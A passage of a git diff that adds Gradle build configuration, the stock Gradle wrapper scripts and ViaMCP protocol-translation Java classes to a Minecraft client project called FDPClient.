"net.ccbluex.liquidbounce.injection.forge.TransformerLoader", + "FMLCorePluginContainsFMLMod": true, + "ForceLoadAsMod": true, + "MixinConfigs": "mixins.fdpclient.json", + "ModSide": "CLIENT", + "TweakClass": "org.spongepowered.asm.launch.MixinTweaker", + "TweakOrder": "0", + "FMLAT": "fdpclient_at.cfg", + ) + + enabled = false +} + +mixin { + disableRefMapWarning = true + defaultObfuscationEnv searge + add sourceSets.main, "mixins.fdpclient.refmap.json" +} + +reobf { + shadowJar { + mappingType = "SEARGE" + } +} +tasks.reobfJar.dependsOn(shadowJar) diff --git a/gradle.properties b/gradle.properties new file mode 100644 index 0000000..9d07655 --- /dev/null +++ b/gradle.properties @@ -0,0 +1,18 @@ +org.gradle.jvmargs=-Xmx8g +#org.gradle.daemon=false + +kotlin_version = 1.6.10 +detekt_version = 1.19.0 +forgeVersion=1.8.9-11.15.1.2318-1.8.9 + +vialoader_version=2.2.11-SNAPSHOT +viaversion_version=4.9.0-23w45a-SNAPSHOT +viabackwards_version=4.9.0-23w45a-SNAPSHOT +viarewind_version=3.0.4-SNAPSHOT + +forgegradle_version = f2c5bb338e +mixingradle_version = ae2a80e +jcef_version = 100.0.14.2 + +snake_yml_version=2.2 +slf4j_version=2.0.9 diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..e69de29 diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..c19e35b --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-6.9.1-all.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100644 index 0000000..4f906e0 --- /dev/null +++ b/gradlew @@ -0,0 +1,185 @@ +#!/usr/bin/env sh + +# +# Copyright 2015 the original author or authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +## +## Gradle start up script for UN*X +## +############################################################################## + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin or MSYS, switch paths to Windows format before running java +if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=`expr $i + 1` + done + case $i in + 0) set -- ;; + 1) set -- "$args0" ;; + 2) set -- "$args0" "$args1" ;; + 3) set -- "$args0" "$args1" "$args2" ;; + 4) set -- "$args0" "$args1" "$args2" "$args3" ;; + 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=`save "$@"` + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..107acd3 --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,89 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/libs/ViaBackwards-4.4.1.jar b/libs/ViaBackwards-4.4.1.jar new file mode 100644 index 0000000..a41706c Binary files /dev/null and b/libs/ViaBackwards-4.4.1.jar differ diff --git a/libs/ViaRewind-2.0.3-AnimationFixed.jar b/libs/ViaRewind-2.0.3-AnimationFixed.jar new file mode 100644 index 0000000..7fe98b5 Binary files /dev/null and b/libs/ViaRewind-2.0.3-AnimationFixed.jar differ diff --git a/libs/ViaSnakeYaml-1.30.jar b/libs/ViaSnakeYaml-1.30.jar new file mode 100644 index 0000000..6c9b2bc Binary files /dev/null and b/libs/ViaSnakeYaml-1.30.jar differ diff --git a/libs/ViaVersion-4.4.1.jar b/libs/ViaVersion-4.4.1.jar new file mode 100644 index 0000000..4223bd1 Binary files /dev/null and b/libs/ViaVersion-4.4.1.jar differ diff --git a/libs/jfxrt.jar b/libs/jfxrt.jar new file mode 100644 index 0000000..3cf4683 Binary files /dev/null and b/libs/jfxrt.jar differ diff --git a/libs/nashorn.jar b/libs/nashorn.jar new file mode 100644 index 0000000..16d86dc Binary files /dev/null and b/libs/nashorn.jar differ diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..8f0ba7b --- /dev/null +++ b/settings.gradle @@ -0,0 +1,27 @@ +pluginManagement { + repositories { + mavenCentral() + gradlePluginPortal() + maven { url = "https://maven.minecraftforge.net/" } + maven { url = "https://jitpack.io/" } + maven { url = "https://repo.spongepowered.org/repository/maven-public/" } + } + resolutionStrategy { + eachPlugin { + switch (requested.id.id) { + case "net.minecraftforge.gradle.forge": + useModule("com.github.ccbluex:ForgeGradle:${forgegradle_version}") + break + case "org.spongepowered.mixin": + useModule("com.github.xcfrg:mixingradle:${mixingradle_version}") + break + } + } + } + plugins { + id "org.jetbrains.kotlin.jvm" version kotlin_version + id "io.gitlab.arturbosch.detekt" version detekt_version + } +} + +rootProject.name = 'FDPClient' diff --git a/src/main/java/cc/paimonmc/viamcp/ViaMCP.java b/src/main/java/cc/paimonmc/viamcp/ViaMCP.java new file mode 100644 index 0000000..8262769 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/ViaMCP.java @@ -0,0 +1,136 @@ +package cc.paimonmc.viamcp; + +import com.google.common.util.concurrent.ThreadFactoryBuilder; +import com.viaversion.viaversion.ViaManagerImpl; +import com.viaversion.viaversion.api.Via; +import com.viaversion.viaversion.api.data.MappingDataLoader; +import io.netty.channel.EventLoop; +import io.netty.channel.local.LocalEventLoopGroup; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.ScaledResolution; +import org.apache.logging.log4j.LogManager; +import cc.paimonmc.viamcp.gui.AsyncVersionSlider; +import cc.paimonmc.viamcp.loader.MCPBackwardsLoader; +import cc.paimonmc.viamcp.loader.MCPRewindLoader; +import cc.paimonmc.viamcp.loader.MCPViaLoader; +import cc.paimonmc.viamcp.platform.MCPViaInjector; +import cc.paimonmc.viamcp.platform.MCPViaPlatform; +import cc.paimonmc.viamcp.utils.JLoggerToLog4j; +import java.io.File; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; +import java.util.logging.Logger; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; + +import static net.ccbluex.liquidbounce.utils.MinecraftInstance.mc; + +public class ViaMCP { + public final static int PROTOCOL_VERSION = 47; + private static final ViaMCP instance = new ViaMCP(); + + public static ViaMCP getInstance() { + return instance; + } + + private final Logger jLogger = new JLoggerToLog4j(LogManager.getLogger("ViaMCP")); + private final CompletableFuture<Void> INIT_FUTURE = new CompletableFuture<>(); + + private ExecutorService ASYNC_EXEC; + private EventLoop EVENT_LOOP; + + private File file; + private int version; + private String lastServer; + + public static boolean hidden; + + public static void staticInit() { + getInstance().start(); + } + + /** + * Version Slider that works Asynchronously with the Version GUI + * Please initialize this before usage with initAsyncSlider() or initAsyncSlider(x, y, width (min. 110), height) + */ + public AsyncVersionSlider asyncSlider; + + public void start() { + try { + final ThreadFactory factory = new ThreadFactoryBuilder().setDaemon(true).setNameFormat("ViaMCP-%d").build(); + ASYNC_EXEC = Executors.newFixedThreadPool(8, factory); + + EVENT_LOOP = new LocalEventLoopGroup(1, factory).next(); + EVENT_LOOP.submit(INIT_FUTURE::join); + + setVersion(PROTOCOL_VERSION); + this.file = new File("ViaMCP"); + if (this.file.mkdir()) { + this.getjLogger().info("Creating ViaMCP Folder"); + } + + Via.init(ViaManagerImpl.builder().injector(new MCPViaInjector()).loader(new MCPViaLoader()).platform(new MCPViaPlatform(file)).build()); + + MappingDataLoader.enableMappingsCache(); + ((ViaManagerImpl) Via.getManager()).init(); + + new MCPBackwardsLoader(file); + new MCPRewindLoader(file); + + INIT_FUTURE.complete(null); + + //ViaMCP.getInstance().initAsyncSlider(); + } catch (final Exception exception) { + exception.printStackTrace(); + } + } + + public Logger getjLogger() { + return jLogger; + } + + public CompletableFuture<Void> getInitFuture() { + return INIT_FUTURE; + } + + public ExecutorService getAsyncExecutor() { + return ASYNC_EXEC; + } + + public EventLoop getEventLoop() { + return EVENT_LOOP; + } + + public File getFile() { + return file; + } + + public String getLastServer() { + return lastServer; + } + + public int getVersion() { + return version; + } + + public void setVersion(final int version) { + this.version = version; + } + + public void setFile(final File file) { + this.file = file; + } + + public void setLastServer(final String lastServer) { + this.lastServer = lastServer; + } + + public static boolean isHidden() { + return hidden; + } + + public static void setHidden(boolean hidden) { + ViaMCP.hidden = hidden; + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/gui/AsyncVersionSlider.java b/src/main/java/cc/paimonmc/viamcp/gui/AsyncVersionSlider.java new file mode 100644 index 0000000..659532c --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/gui/AsyncVersionSlider.java @@ -0,0 +1,90 @@ +package cc.paimonmc.viamcp.gui; + +import cc.paimonmc.viamcp.ViaMCP; +import cc.paimonmc.viamcp.protocols.ProtocolCollection; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; + +import java.util.Arrays; +import java.util.Collections; + +public class AsyncVersionSlider extends GuiButton { + private float dragValue = (float) (ProtocolCollection.values().length - Arrays.asList(ProtocolCollection.values()).indexOf(ProtocolCollection.getProtocolCollectionById(ViaMCP.PROTOCOL_VERSION))) / ProtocolCollection.values().length; + + private final ProtocolCollection[] values; + private float sliderValue; + public boolean dragging; + + public AsyncVersionSlider(final int buttonId, final int x, final int y, final int widthIn, final int heightIn) { + super(buttonId, x, y, Math.max(widthIn, 110), heightIn, ""); + this.values = ProtocolCollection.values(); + Collections.reverse(Arrays.asList(values)); + this.sliderValue = dragValue; + this.displayString = values[(int) (this.sliderValue * (values.length - 1))].getVersion().getName(); + } + + public void drawButton(final Minecraft mc, final int mouseX, final int mouseY) { + super.drawButton(mc, mouseX, mouseY); + } + + /** + * Returns 0 if the button is disabled, 1 if the mouse is NOT hovering over this button and 2 if it IS hovering over + * this button. + */ + public int getHoverState(final boolean mouseOver) { + return 0; + } + + /** + * Fired when the mouse button is dragged. Equivalent of MouseListener.mouseDragged(MouseEvent e). + */ + public void mouseDragged(final Minecraft mc, final int mouseX, final int mouseY) { + if (this.visible) { + if (this.dragging) { + this.sliderValue = (float) (mouseX - (this.xPosition + 4)) / (float) (this.width - 8); + this.sliderValue = MathHelper.clamp_float(this.sliderValue, 0.0F, 1.0F); + this.dragValue = sliderValue; + this.displayString = values[(int) (this.sliderValue * (values.length - 1))].getVersion().getName(); + ViaMCP.getInstance().setVersion(values[(int) (this.sliderValue * (values.length - 1))].getVersion().getVersion()); + } + + mc.getTextureManager().bindTexture(buttonTextures); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + this.drawTexturedModalRect(this.xPosition + (int) (this.sliderValue * (float) (this.width - 8)), this.yPosition, 0, 66, 4, 20); + this.drawTexturedModalRect(this.xPosition + (int) (this.sliderValue * (float) (this.width - 8)) + 4, this.yPosition, 196, 66, 4, 20); + } + } + + /** + * Returns true if the mouse has been pressed on this control. Equivalent of MouseListener.mousePressed(MouseEvent + * e). + */ + public boolean mousePressed(final Minecraft mc, final int mouseX, final int mouseY) { + if (super.mousePressed(mc, mouseX, mouseY)) { + this.sliderValue = (float) (mouseX - (this.xPosition + 4)) / (float) (this.width - 8); + this.sliderValue = MathHelper.clamp_float(this.sliderValue, 0.0F, 1.0F); + this.dragValue = sliderValue; + this.displayString = values[(int) (this.sliderValue * (values.length - 1))].getVersion().getName(); + ViaMCP.getInstance().setVersion(values[(int) (this.sliderValue * (values.length - 1))].getVersion().getVersion()); + this.dragging = true; + return true; + } else { + return false; + } + } + + /** + * Fired when the mouse button is released. Equivalent of MouseListener.mouseReleased(MouseEvent e). + */ + public void mouseReleased(final int mouseX, final int mouseY) { + this.dragging = false; + } + + public void setVersion(final int protocol) { + this.dragValue = (float) (ProtocolCollection.values().length - Arrays.asList(ProtocolCollection.values()).indexOf(ProtocolCollection.getProtocolCollectionById(protocol))) / ProtocolCollection.values().length; + this.sliderValue = this.dragValue; + this.displayString = values[(int) (this.sliderValue * (values.length - 1))].getVersion().getName(); + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/gui/GuiProtocolSelector.java b/src/main/java/cc/paimonmc/viamcp/gui/GuiProtocolSelector.java new file mode 100644 index 0000000..4c6303d --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/gui/GuiProtocolSelector.java @@ -0,0 +1,105 @@ +package cc.paimonmc.viamcp.gui; + +import cc.paimonmc.viamcp.ViaMCP; +import cc.paimonmc.viamcp.protocols.ProtocolCollection; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.GuiSlot; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.EnumChatFormatting; + +import java.io.IOException; + +public class GuiProtocolSelector extends GuiScreen { + private final GuiScreen parent; + public SlotList list; + + public GuiProtocolSelector(final GuiScreen parent) { + this.parent = parent; + } + + @Override + public void initGui() { + super.initGui(); + buttonList.add(new GuiButton(1, width / 2 - 100, height - 25, 200, 20, "Back")); + buttonList.add(new GuiButton(2, width / 2 - 180, height - 25, 75, 20, "Credits")); + list = new SlotList(mc, width, height, 32, height - 32, 10); + } + + @Override + public void actionPerformed(final GuiButton guiButton){ + list.actionPerformed(guiButton); + + if (guiButton.id == 1) { + mc.displayGuiScreen(parent); + } + } + + @Override + public void handleMouseInput() throws IOException { + list.handleMouseInput(); + super.handleMouseInput(); + } + + @Override + public void drawScreen(final int mouseX, final int mouseY, final float partialTicks) { + list.drawScreen(mouseX, mouseY, partialTicks); + GlStateManager.pushMatrix(); + GlStateManager.scale(2.0, 2.0, 2.0); + final String title = EnumChatFormatting.BOLD + "ViaMCP Reborn"; + drawString(this.fontRendererObj, title, (this.width - (this.fontRendererObj.getStringWidth(title) * 2)) / 4, 5, -1); + GlStateManager.popMatrix(); + + final String versionName = ProtocolCollection.getProtocolById(ViaMCP.getInstance().getVersion()).getName(); + final String versionCodeName = ProtocolCollection.getProtocolInfoById(ViaMCP.getInstance().getVersion()).getName(); + final String versionReleaseDate = ProtocolCollection.getProtocolInfoById(ViaMCP.getInstance().getVersion()).getReleaseDate(); + final String versionTitle = "Version: " + versionName + " - " + versionCodeName; + final String versionReleased = "Released: " + versionReleaseDate; + + final int fixedHeight = ((5 + this.fontRendererObj.FONT_HEIGHT) * 2) + 2; + + drawString(this.fontRendererObj, EnumChatFormatting.GRAY + (EnumChatFormatting.BOLD + "Version Information"), (width - this.fontRendererObj.getStringWidth("Version Information")) / 2, fixedHeight, -1); + drawString(this.fontRendererObj, versionTitle, (width - this.fontRendererObj.getStringWidth(versionTitle)) / 2, fixedHeight + this.fontRendererObj.FONT_HEIGHT, -1); + drawString(this.fontRendererObj, versionReleased, (width - this.fontRendererObj.getStringWidth(versionReleased)) / 2, fixedHeight + this.fontRendererObj.FONT_HEIGHT * 2, -1); + + super.drawScreen(mouseX, mouseY, partialTicks); + } + + class SlotList extends GuiSlot { + public SlotList(final Minecraft mc, final int width, final int height, final int top, final int bottom, final int slotHeight) { + super(mc, width, height, top + 30, bottom, 18); + } + + @Override + public int getSize() { + return ProtocolCollection.values().length; + } + + @Override + public void elementClicked(final int i, final boolean b, final int i1, final int i2) { + final int protocolVersion = ProtocolCollection.values()[i].getVersion().getVersion(); + ViaMCP.getInstance().setVersion(protocolVersion); + ViaMCP.getInstance().asyncSlider.setVersion(protocolVersion); + } + + @Override + public boolean isSelected(final int i) { + return false; + } + + @Override + public void drawBackground() { + drawDefaultBackground(); + } + + @Override + public void drawSlot(final int i, final int i1, final int i2, final int i3, final int i4, final int i5) { + drawCenteredString(mc.fontRendererObj, (ViaMCP.getInstance().getVersion() == ProtocolCollection.values()[i].getVersion().getVersion() ? EnumChatFormatting.GREEN.toString() + EnumChatFormatting.BOLD : EnumChatFormatting.GRAY.toString()) + ProtocolCollection.getProtocolById(ProtocolCollection.values()[i].getVersion().getVersion()).getName(), width / 2, i2 + 2, -1); + GlStateManager.pushMatrix(); + GlStateManager.scale(0.5, 0.5, 0.5); + drawCenteredString(mc.fontRendererObj, "PVN: " + ProtocolCollection.getProtocolById(ProtocolCollection.values()[i].getVersion().getVersion()).getVersion(), width, (i2 + 2) * 2 + 20, -1); + GlStateManager.popMatrix(); + } + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/handler/CommonTransformer.java b/src/main/java/cc/paimonmc/viamcp/handler/CommonTransformer.java new file mode 100644 index 0000000..cc40d81 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/handler/CommonTransformer.java @@ -0,0 +1,38 @@ +package cc.paimonmc.viamcp.handler; + +import com.viaversion.viaversion.util.PipelineUtil; +import io.netty.buffer.ByteBuf; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelHandlerContext; +import io.netty.handler.codec.ByteToMessageDecoder; +import io.netty.handler.codec.MessageToByteEncoder; +import io.netty.handler.codec.MessageToMessageDecoder; + +import java.lang.reflect.InvocationTargetException; + +public class CommonTransformer { + public static final String HANDLER_DECODER_NAME = "via-decoder"; + public static final String HANDLER_ENCODER_NAME = "via-encoder"; + + public static void decompress(final ChannelHandlerContext ctx, final ByteBuf buf) throws InvocationTargetException { + final ChannelHandler handler = ctx.pipeline().get("decompress"); + final ByteBuf decompressed = handler instanceof MessageToMessageDecoder ? (ByteBuf) PipelineUtil.callDecode((MessageToMessageDecoder<?>) handler, ctx, buf).get(0) : (ByteBuf) PipelineUtil.callDecode((ByteToMessageDecoder) handler, ctx, buf).get(0); + + try { + buf.clear().writeBytes(decompressed); + } finally { + decompressed.release(); + } + } + + public static void compress(final ChannelHandlerContext ctx, final ByteBuf buf) throws Exception { + final ByteBuf compressed = ctx.alloc().buffer(); + + try { + PipelineUtil.callEncode((MessageToByteEncoder<?>) ctx.pipeline().get("compress"), ctx, buf, compressed); + buf.clear().writeBytes(compressed); + } finally { + compressed.release(); + } + } +} \ No newline at end of file diff --git a/src/main/java/cc/paimonmc/viamcp/handler/MCPDecodeHandler.java b/src/main/java/cc/paimonmc/viamcp/handler/MCPDecodeHandler.java new file mode 100644 index 0000000..4184fa2 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/handler/MCPDecodeHandler.java @@ -0,0 +1,100 @@ +package cc.paimonmc.viamcp.handler; + +import com.viaversion.viaversion.api.connection.UserConnection; +import com.viaversion.viaversion.exception.CancelCodecException; +import com.viaversion.viaversion.exception.CancelDecoderException; +import com.viaversion.viaversion.util.PipelineUtil; +import io.netty.buffer.ByteBuf; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelHandlerContext; +import io.netty.handler.codec.MessageToMessageDecoder; + +import java.lang.reflect.InvocationTargetException; +import java.util.List; + +@ChannelHandler.Sharable +public class MCPDecodeHandler extends MessageToMessageDecoder<ByteBuf> { + private final UserConnection info; + private boolean handledCompression; + private boolean skipDoubleTransform; + + public MCPDecodeHandler(final UserConnection info) { + this.info = info; + } + + public UserConnection getInfo() { + return info; + } + + // https://github.com/ViaVersion/ViaVersion/blob/master/velocity/src/main/java/us/myles/ViaVersion/velocity/handlers/VelocityDecodeHandler.java + @Override + protected void decode(final ChannelHandlerContext ctx, final ByteBuf bytebuf, final List<Object> out) throws Exception { + if (skipDoubleTransform) { + skipDoubleTransform = false; + out.add(bytebuf.retain()); + return; + } + + if (!info.checkIncomingPacket()) { + throw CancelDecoderException.generate(null); + } + + if (!info.shouldTransformPacket()) { + out.add(bytebuf.retain()); + return; + } + + final ByteBuf transformedBuf = ctx.alloc().buffer().writeBytes(bytebuf); + + try { + final boolean needsCompress = handleCompressionOrder(ctx, transformedBuf); + + info.transformIncoming(transformedBuf, CancelDecoderException::generate); + + if (needsCompress) { + CommonTransformer.compress(ctx, transformedBuf); + skipDoubleTransform = true; + } + + out.add(transformedBuf.retain()); + } finally { + transformedBuf.release(); + } + } + + private boolean handleCompressionOrder(final ChannelHandlerContext ctx, final ByteBuf buf) throws InvocationTargetException { + if (handledCompression) { + return false; + } + + final int decoderIndex = ctx.pipeline().names().indexOf("decompress"); + + if (decoderIndex == -1) { + return false; + } + + handledCompression = true; + + if (decoderIndex > ctx.pipeline().names().indexOf("via-decoder")) { + // Need to decompress this packet due to bad order + CommonTransformer.decompress(ctx, buf); + final ChannelHandler encoder = ctx.pipeline().get("via-encoder"); + final ChannelHandler decoder = ctx.pipeline().get("via-decoder"); + ctx.pipeline().remove(encoder); + ctx.pipeline().remove(decoder); + ctx.pipeline().addAfter("compress", "via-encoder", encoder); + ctx.pipeline().addAfter("decompress", "via-decoder", decoder); + return true; + } + + return false; + } + + @Override + public void exceptionCaught(final ChannelHandlerContext ctx, final Throwable cause) throws Exception { + if (PipelineUtil.containsCause(cause, CancelCodecException.class)) { + return; + } + super.exceptionCaught(ctx, cause); + } +} \ No newline at end of file diff --git a/src/main/java/cc/paimonmc/viamcp/handler/MCPEncodeHandler.java b/src/main/java/cc/paimonmc/viamcp/handler/MCPEncodeHandler.java new file mode 100644 index 0000000..732328f --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/handler/MCPEncodeHandler.java @@ -0,0 +1,87 @@ +package cc.paimonmc.viamcp.handler; + +import com.viaversion.viaversion.api.connection.UserConnection; +import com.viaversion.viaversion.exception.CancelCodecException; +import com.viaversion.viaversion.exception.CancelEncoderException; +import com.viaversion.viaversion.util.PipelineUtil; +import io.netty.buffer.ByteBuf; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelHandlerContext; +import io.netty.handler.codec.MessageToMessageEncoder; + +import java.lang.reflect.InvocationTargetException; +import java.util.List; + +@ChannelHandler.Sharable +public class MCPEncodeHandler extends MessageToMessageEncoder<ByteBuf> { + private final UserConnection info; + private boolean handledCompression; + + public MCPEncodeHandler(final UserConnection info) { + this.info = info; + } + + @Override + protected void encode(final ChannelHandlerContext ctx, final ByteBuf bytebuf, final List<Object> out) throws Exception { + if (!info.checkOutgoingPacket()) { + throw CancelEncoderException.generate(null); + } + + if (!info.shouldTransformPacket()) { + out.add(bytebuf.retain()); + return; + } + + final ByteBuf transformedBuf = ctx.alloc().buffer().writeBytes(bytebuf); + + try { + final boolean needsCompress = handleCompressionOrder(ctx, transformedBuf); + + info.transformOutgoing(transformedBuf, CancelEncoderException::generate); + + if (needsCompress) { + CommonTransformer.compress(ctx, transformedBuf); + } + + 